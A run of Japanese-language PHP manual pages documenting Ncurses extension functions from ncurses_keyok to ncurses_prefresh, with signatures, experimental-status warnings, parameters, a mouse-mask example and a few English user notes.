
ncurses_keyok ( int $keycode , bool $enable ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

keycode

enable

User Contributed Notes

There are no user contributed notes for this page.


キーパッドを on あるいは off にする

  • ≪ ncurses_keyok
  • ncurses_killchar ≫
  • PHP Manual
  • Ncurses 関数
  • キーパッドを on あるいは off にする

ncurses_keypad

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keypad — キーパッドを on あるいは off にする

説明

ncurses_keypad ( resource $window , bool $bf ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

bf

User Contributed Notes

There are no user contributed notes for this page.


現在の行削除文字を返す

  • ≪ ncurses_keypad
  • ncurses_longname ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の行削除文字を返す

ncurses_killchar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_killchar — 現在の行削除文字を返す

説明

ncurses_killchar ( ) : string
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在の行削除文字を返します。

返り値

現在の行削除文字を返します。

参考

  • ncurses_erasechar() - 現在の erase 文字を返す

User Contributed Notes

There are no user contributed notes for this page.


端末の説明を返す

  • ≪ ncurses_killchar
  • ncurses_meta ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の説明を返す

ncurses_longname

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_longname — 端末の説明を返す

説明

ncurses_longname ( ) : string
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末の詳細な説明を返します。

返り値

端末の詳細な説明を返します。 説明は、最大 128 文字までで切り詰められます。 エラー時には null を返します。

参考

  • ncurses_termname() - 端末の(簡略)名を返す

User Contributed Notes

There are no user contributed notes for this page.


8 ビットのメタキー情報を有効/無効にする

  • ≪ ncurses_longname
  • ncurses_mouse_trafo ≫
  • PHP Manual
  • Ncurses 関数
  • 8 ビットのメタキー情報を有効/無効にする

ncurses_meta

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_meta — 8 ビットのメタキー情報を有効/無効にする

説明

ncurses_meta ( resource $window , bool $8bit ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

8bit

User Contributed Notes

There are no user contributed notes for this page.


座標を変換する

  • ≪ ncurses_meta
  • ncurses_mouseinterval ≫
  • PHP Manual
  • Ncurses 関数
  • 座標を変換する

ncurses_mouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouse_trafo — 座標を変換する

説明

ncurses_mouse_trafo ( int &$y , int &$x , bool $toscreen ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

toscreen

User Contributed Notes

There are no user contributed notes for this page.


マウスボタンクリックのタイムアウトを設定する

  • ≪ ncurses_mouse_trafo
  • ncurses_mousemask ≫
  • PHP Manual
  • Ncurses 関数
  • マウスボタンクリックのタイムアウトを設定する

ncurses_mouseinterval

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mouseinterval — マウスボタンクリックのタイムアウトを設定する

説明

ncurses_mouseinterval ( int $milliseconds ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


マウスオプションを設定する

  • ≪ ncurses_mouseinterval
  • ncurses_move_panel ≫
  • PHP Manual
  • Ncurses 関数
  • マウスオプションを設定する

ncurses_mousemask

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mousemask — マウスオプションを設定する

説明

ncurses_mousemask ( int $newmask , int &$oldmask ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

報告されるマウスイベントを設定します。デフォルトでは、 どのマウスイベントについても報告されません。

マウスイベントは、ncurses_wgetch() 入力ストリーム内では NCURSES_KEY_MOUSE で表されます。 イベントデータを読み込んでキューからイベントを取り出すには、 ncurses_getmouse() をコールします。

パラメータ

newmask

マウスマスクオプションには、以下の定義済み定数が指定可能です。

  • NCURSES_BUTTON1_PRESSED

  • NCURSES_BUTTON1_RELEASED

  • NCURSES_BUTTON1_CLICKED

  • NCURSES_BUTTON1_DOUBLE_CLICKED

  • NCURSES_BUTTON1_TRIPLE_CLICKED

  • NCURSES_BUTTON2_PRESSED

  • NCURSES_BUTTON2_RELEASED

  • NCURSES_BUTTON2_CLICKED

  • NCURSES_BUTTON2_DOUBLE_CLICKED

  • NCURSES_BUTTON2_TRIPLE_CLICKED

  • NCURSES_BUTTON3_PRESSED

  • NCURSES_BUTTON3_RELEASED

  • NCURSES_BUTTON3_CLICKED

  • NCURSES_BUTTON3_DOUBLE_CLICKED

  • NCURSES_BUTTON3_TRIPLE_CLICKED

  • NCURSES_BUTTON4_PRESSED

  • NCURSES_BUTTON4_RELEASED

  • NCURSES_BUTTON4_CLICKED

  • NCURSES_BUTTON4_DOUBLE_CLICKED

  • NCURSES_BUTTON4_TRIPLE_CLICKED

  • NCURSES_BUTTON_SHIFT>

  • NCURSES_BUTTON_CTRL

  • NCURSES_BUTTON_ALT

  • NCURSES_ALL_MOUSE_EVENTS

  • NCURSES_REPORT_MOUSE_POSITION

副作用として、newmask にゼロを設定すると マウスポインタを消去します。ゼロ以外の値を設定すると マウスポインタが表示されます。

oldmask

以前のマウスイベントマスクの値が設定されます。

返り値

イベントを報告することができるマスクを返します。失敗した場合は 0 を返します。

例

例1 ncurses_mousemask() の例

<?php
$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
$mask = ncurses_mousemask($newmask, $oldmask);
if ($mask & $newmask){
    printf("All specified mouse options will be supported\n");
}
?>

参考

  • ncurses_getch() - キーボードから 1 文字読み込む
  • ncurses_getmouse() - マウスイベントを読みこむ
  • ncurses_ungetmouse() - マウスイベントをキューにプッシュする

User Contributed Notes

There are no user contributed notes for this page.


左上が [startx, starty] となるようにパネルを移動する

  • ≪ ncurses_mousemask
  • ncurses_move ≫
  • PHP Manual
  • Ncurses 関数
  • 左上が [startx, starty] となるようにパネルを移動する

ncurses_move_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move_panel — 左上が [startx, starty] となるようにパネルを移動する

説明

ncurses_move_panel ( resource $panel , int $startx , int $starty ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

startx

starty

User Contributed Notes

aholmes at barracuda dot com 03-Jun-2010 09:48
Note that, according to move_panel(3), the move_panel prototype is "int move_panel(PANEL *pan, int starty, int startx)," while the PHP function switches starty and startx.

The PHP function and this function documentation are in conjunction with each other, but they do not match the move_panel prototype and call it incorrectly.


出力位置を移動する

  • ≪ ncurses_move_panel
  • ncurses_mvaddch ≫
  • PHP Manual
  • Ncurses 関数
  • 出力位置を移動する

ncurses_move

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_move — 出力位置を移動する

説明

ncurses_move ( int $y , int $x ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

User Contributed Notes

There are no user contributed notes for this page.


現在位置を移動し、文字を追加する

  • ≪ ncurses_move
  • ncurses_mvaddchnstr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置を移動し、文字を追加する

ncurses_mvaddch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddch — 現在位置を移動し、文字を追加する

説明

ncurses_mvaddch ( int $y , int $x , int $c ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

c

User Contributed Notes

There are no user contributed notes for this page.


位置を移動し、指定長の属性付きの文字列を追加する

  • ≪ ncurses_mvaddch
  • ncurses_mvaddchstr ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、指定長の属性付きの文字列を追加する

ncurses_mvaddchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchnstr — 位置を移動し、指定長の属性付きの文字列を追加する

説明

ncurses_mvaddchnstr ( int $y , int $x , string $s , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

s

n

User Contributed Notes

john at weider dot cc 18-Oct-2002 10:40
Additional constants:

    NCURSES_A_NORMAL
    NCURSES_A_STANDOUT
    NCURSES_A_UNDERLINE
    NCURSES_A_REVERSE
    NCURSES_A_BLINK
    NCURSES_A_DIM
    NCURSES_A_BOLD
    NCURSES_A_PROTECT
    NCURSES_A_INVIS
    NCURSES_A_ALTCHARSET
    NCURSES_A_CHARTEXT


位置を移動し、属性付きの文字列を追加する

  • ≪ ncurses_mvaddchnstr
  • ncurses_mvaddnstr ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、属性付きの文字列を追加する

ncurses_mvaddchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddchstr — 位置を移動し、属性付きの文字列を追加する

説明

ncurses_mvaddchstr ( int $y , int $x , string $s ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

s

User Contributed Notes

There are no user contributed notes for this page.


位置を移動し、指定長の文字列を追加する

  • ≪ ncurses_mvaddchstr
  • ncurses_mvaddstr ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、指定長の文字列を追加する

ncurses_mvaddnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddnstr — 位置を移動し、指定長の文字列を追加する

説明

ncurses_mvaddnstr ( int $y , int $x , string $s , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

s

n

User Contributed Notes

There are no user contributed notes for this page.


位置を移動し、文字列を追加する

  • ≪ ncurses_mvaddnstr
  • ncurses_mvcur ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、文字列を追加する

ncurses_mvaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvaddstr — 位置を移動し、文字列を追加する

説明

ncurses_mvaddstr ( int $y , int $x , string $s ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

s

User Contributed Notes

There are no user contributed notes for this page.


直ちにカーソルを移動する

  • ≪ ncurses_mvaddstr
  • ncurses_mvdelch ≫
  • PHP Manual
  • Ncurses 関数
  • 直ちにカーソルを移動する

ncurses_mvcur

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvcur — 直ちにカーソルを移動する

説明

ncurses_mvcur ( int $old_y , int $old_x , int $new_y , int $new_x ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

old_y

old_x

new_y

new_x

User Contributed Notes

nniico 17-Jun-2014 11:44
To simply move the cursor, use ncurses_move() instead.


位置を移動し、文字を削除、行の残りを左シフトする

  • ≪ ncurses_mvcur
  • ncurses_mvgetch ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、文字を削除、行の残りを左シフトする

ncurses_mvdelch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvdelch — 位置を移動し、文字を削除、行の残りを左シフトする

説明

ncurses_mvdelch ( int $y , int $x ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

User Contributed Notes

There are no user contributed notes for this page.


位置を移動し、新しい位置で文字を得る

  • ≪ ncurses_mvdelch
  • ncurses_mvhline ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、新しい位置で文字を得る

ncurses_mvgetch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvgetch — 位置を移動し、新しい位置で文字を得る

説明

ncurses_mvgetch ( int $y , int $x ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

User Contributed Notes

There are no user contributed notes for this page.


位置を新しく設定し、属性付きの文字を用いて最大n文字の水平線を描画

  • ≪ ncurses_mvgetch
  • ncurses_mvinch ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を新しく設定し、属性付きの文字を用いて最大n文字の水平線を描画

ncurses_mvhline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvhline — 位置を新しく設定し、属性付きの文字を用いて最大n文字の水平線を描画

説明

ncurses_mvhline ( int $y , int $x , int $attrchar , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.


位置を移動し、新しい位置の属性付きの文字を取得する

  • ≪ ncurses_mvhline
  • ncurses_mvvline ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を移動し、新しい位置の属性付きの文字を取得する

ncurses_mvinch

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvinch — 位置を移動し、新しい位置の属性付きの文字を取得する

説明

ncurses_mvinch ( int $y , int $x ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

User Contributed Notes

There are no user contributed notes for this page.


位置を新しく設定し、属性付きの文字を用いて最大 n 文字の垂直線を描画する

  • ≪ ncurses_mvinch
  • ncurses_mvwaddstr ≫
  • PHP Manual
  • Ncurses 関数
  • 位置を新しく設定し、属性付きの文字を用いて最大 n 文字の垂直線を描画する

ncurses_mvvline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvvline — 位置を新しく設定し、属性付きの文字を用いて最大 n 文字の垂直線を描画する

説明

ncurses_mvvline ( int $y , int $x , int $attrchar , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

y

x

attrchar

n

User Contributed Notes

There are no user contributed notes for this page.


ウインドウの新規位置に文字列を追加する

  • ≪ ncurses_mvvline
  • ncurses_napms ≫
  • PHP Manual
  • Ncurses 関数
  • ウインドウの新規位置に文字列を追加する

ncurses_mvwaddstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_mvwaddstr — ウインドウの新規位置に文字列を追加する

説明

ncurses_mvwaddstr ( resource $window , int $y , int $x , string $text ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

y

x

text

User Contributed Notes

There are no user contributed notes for this page.


スリープ

  • ≪ ncurses_mvwaddstr
  • ncurses_new_panel ≫
  • PHP Manual
  • Ncurses 関数
  • スリープ

ncurses_napms

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_napms — スリープ

説明

ncurses_napms ( int $milliseconds ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


新しいパネルを作成し、それをウィンドウに関連づける

  • ≪ ncurses_napms
  • ncurses_newpad ≫
  • PHP Manual
  • Ncurses 関数
  • 新しいパネルを作成し、それをウィンドウに関連づける

ncurses_new_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_new_panel — 新しいパネルを作成し、それをウィンドウに関連づける

説明

ncurses_new_panel ( resource $window ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

There are no user contributed notes for this page.


新しいパッド (window) を作成する

  • ≪ ncurses_new_panel
  • ncurses_newwin ≫
  • PHP Manual
  • Ncurses 関数
  • 新しいパッド (window) を作成する

ncurses_newpad

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newpad — 新しいパッド (window) を作成する

説明

ncurses_newpad ( int $rows , int $cols ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

rows

cols

User Contributed Notes

There are no user contributed notes for this page.


新規ウインドウを作成する

  • ≪ ncurses_newpad
  • ncurses_nl ≫
  • PHP Manual
  • Ncurses 関数
  • 新規ウインドウを作成する

ncurses_newwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_newwin — 新規ウインドウを作成する

説明

ncurses_newwin ( int $rows , int $cols , int $y , int $x ) : resource
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

描画要素を入れるための新しいウィンドウを作成します。

端末の大きさはそれぞれ異なりいろいろな値をとる可能性があるので、 ウィンドウを追加する際には ncurses_getmaxyx() を使用して使用可能な領域を調べることを忘れないようにしましょう。

パラメータ

rows

行の数。

cols

列の数。

y

原点の y 座標。

x

原点の x 座標。

返り値

新しいウィンドウのリソース ID を返します。

User Contributed Notes

There are no user contributed notes for this page.


改行と復改/ラインフィードを変換する

  • ≪ ncurses_newwin
  • ncurses_nocbreak ≫
  • PHP Manual
  • Ncurses 関数
  • 改行と復改/ラインフィードを変換する

ncurses_nl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nl — 改行と復改/ラインフィードを変換する

説明

ncurses_nl ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末を cooked モードに変更する

  • ≪ ncurses_nl
  • ncurses_noecho ≫
  • PHP Manual
  • Ncurses 関数
  • 端末を cooked モードに変更する

ncurses_nocbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nocbreak — 端末を cooked モードに変更する

説明

ncurses_nocbreak ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末を通常モード (cooked モード) に戻します。モードが継承されている場合、端末の 書記モードは cbreak モードであったりそうでなかったりするかもしれません。 そのため、プログラムでは ncurses_cbreak() および ncurses_nocbreak() を明示的にコールすべきです。

返り値

何らかのエラーが発生した場合に true、 それ以外の場合に false を返します。

参考

  • ncurses_cbreak() - 入力のバッファリングをオフにする

User Contributed Notes

There are no user contributed notes for this page.


キーボード入力エコーを無効にする

  • ≪ ncurses_nocbreak
  • ncurses_nonl ≫
  • PHP Manual
  • Ncurses 関数
  • キーボード入力エコーを無効にする

ncurses_noecho

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noecho — キーボード入力エコーを無効にする

説明

ncurses_noecho ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ユーザーが入力した文字のエコーを無効にします。

返り値

何らかのエラーが発生した場合に true、 それ以外の場合に false を返します。

参考

  • ncurses_echo() - キーボード入力のエコーを有効とする
  • ncurses_getch() - キーボードから 1 文字読み込む

User Contributed Notes

kalenhall at me dot com 12-Sep-2013 07:12
The ncurses_noecho() function basically disables user input from being echoed to your present cursor location.

Re-enable with the ncurses_echo() function. Echo is enabled by default in a new ncurses session.


改行と復改/ラインフィードを変換しない

  • ≪ ncurses_noecho
  • ncurses_noqiflush ≫
  • PHP Manual
  • Ncurses 関数
  • 改行と復改/ラインフィードを変換しない

ncurses_nonl

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_nonl — 改行と復改/ラインフィードを変換しない

説明

ncurses_nonl ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


シグナル文字のフラッシュを無効とする

  • ≪ ncurses_nonl
  • ncurses_noraw ≫
  • PHP Manual
  • Ncurses 関数
  • シグナル文字のフラッシュを無効とする

ncurses_noqiflush

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noqiflush — シグナル文字のフラッシュを無効とする

説明

ncurses_noqiflush ( ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末を raw モード以外に変更する

  • ≪ ncurses_noqiflush
  • ncurses_pair_content ≫
  • PHP Manual
  • Ncurses 関数
  • 端末を raw モード以外に変更する

ncurses_noraw

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_noraw — 端末を raw モード以外に変更する

説明

ncurses_noraw ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末を raw モード以外に変更します。row モードは cbreak モードと似ており、 タイプされた文字はすぐにプログラムへ渡されます。違う点は、 raw モードの場合は 中断 (interrupt)、終了 (quit)、停止 (suspend) およびフロー制御文字もそのまま渡され、シグナルは発生しないということです。

返り値

何らかのエラーが発生した場合に true、 それ以外の場合に false を返します。

参考

  • ncurses_raw() - 端末を raw モードに変更する
  • ncurses_cbreak() - 入力のバッファリングをオフにする
  • ncurses_nocbreak() - 端末を cooked モードに変更する

User Contributed Notes

There are no user contributed notes for this page.


色ペアの前景色と背景色を取得する

  • ≪ ncurses_noraw
  • ncurses_panel_above ≫
  • PHP Manual
  • Ncurses 関数
  • 色ペアの前景色と背景色を取得する

ncurses_pair_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pair_content — 色ペアの前景色と背景色を取得する

説明

ncurses_pair_content ( int $pair , int &$f , int &$b ) : int

指定した色ペアの前景色と背景色を取得します。この関数をコールする前に、 ncurses_start_color() で端末の色機能を初期化しておく必要があります。

パラメータ

pair

情報を取得したい色ペアの番号。

f

色ペアの前景色への参照。返される情報は、 定義済みの色 を指す色番号か、端末が色の変更機能をサポートしている場合に ncurses_init_color() で定義した色となります。

b

色ペアの背景色への参照。返される情報は、 定義済みの色 を指す色番号か、端末が色の変更機能をサポートしている場合に ncurses_init_color() で定義した色となります。

返り値

関数が成功した場合は -1、 ncurses や端末の色機能の初期化ができていない場合は 0 を返します。

参考

  • ncurses_init_pair() - 色ペアを定義する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


パネルの上のパネルを返す

  • ≪ ncurses_pair_content
  • ncurses_panel_below ≫
  • PHP Manual
  • Ncurses 関数
  • パネルの上のパネルを返す

ncurses_panel_above

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_above — パネルの上のパネルを返す

説明

ncurses_panel_above ( resource $panel ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

返り値

パネルが null の場合は、スタックの最下部のパネルを返します。

User Contributed Notes

There are no user contributed notes for this page.


パネルの下のパネルを返す

  • ≪ ncurses_panel_above
  • ncurses_panel_window ≫
  • PHP Manual
  • Ncurses 関数
  • パネルの下のパネルを返す

ncurses_panel_below

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_below — パネルの下のパネルを返す

説明

ncurses_panel_below ( resource $panel ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

パラメータ

パネルが null の場合は、スタックの最上部のパネルを返します。

User Contributed Notes

There are no user contributed notes for this page.


パネルに関連付けられたウィンドウを返す

  • ≪ ncurses_panel_below
  • ncurses_pnoutrefresh ≫
  • PHP Manual
  • Ncurses 関数
  • パネルに関連付けられたウィンドウを返す

ncurses_panel_window

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_panel_window — パネルに関連付けられたウィンドウを返す

説明

ncurses_panel_window ( resource $panel ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


パッドから仮想画面にリージョンをコピーする

  • ≪ ncurses_panel_window
  • ncurses_prefresh ≫
  • PHP Manual
  • Ncurses 関数
  • パッドから仮想画面にリージョンをコピーする

ncurses_pnoutrefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_pnoutrefresh — パッドから仮想画面にリージョンをコピーする

説明

ncurses_pnoutrefresh ( resource $pad , int $pminrow , int $pmincol , int $sminrow , int $smincol , int $smaxrow , int $smaxcol ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

pad

pminrow

pmincol

sminrow

smincol

smaxrow

smaxcol

User Contributed Notes

There are no user contributed notes for this page.


パッドから仮想画面にリージョンをコピーする

  • ≪ ncurses_pnoutrefresh
  • ncurses_putp ≫
  • PHP Manual
  • Ncurses 関数
  • パッドから仮想画面にリージョンをコピーする

ncurses_prefresh

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_prefresh — パッドから仮想画面にリージョンをコピーする

説明

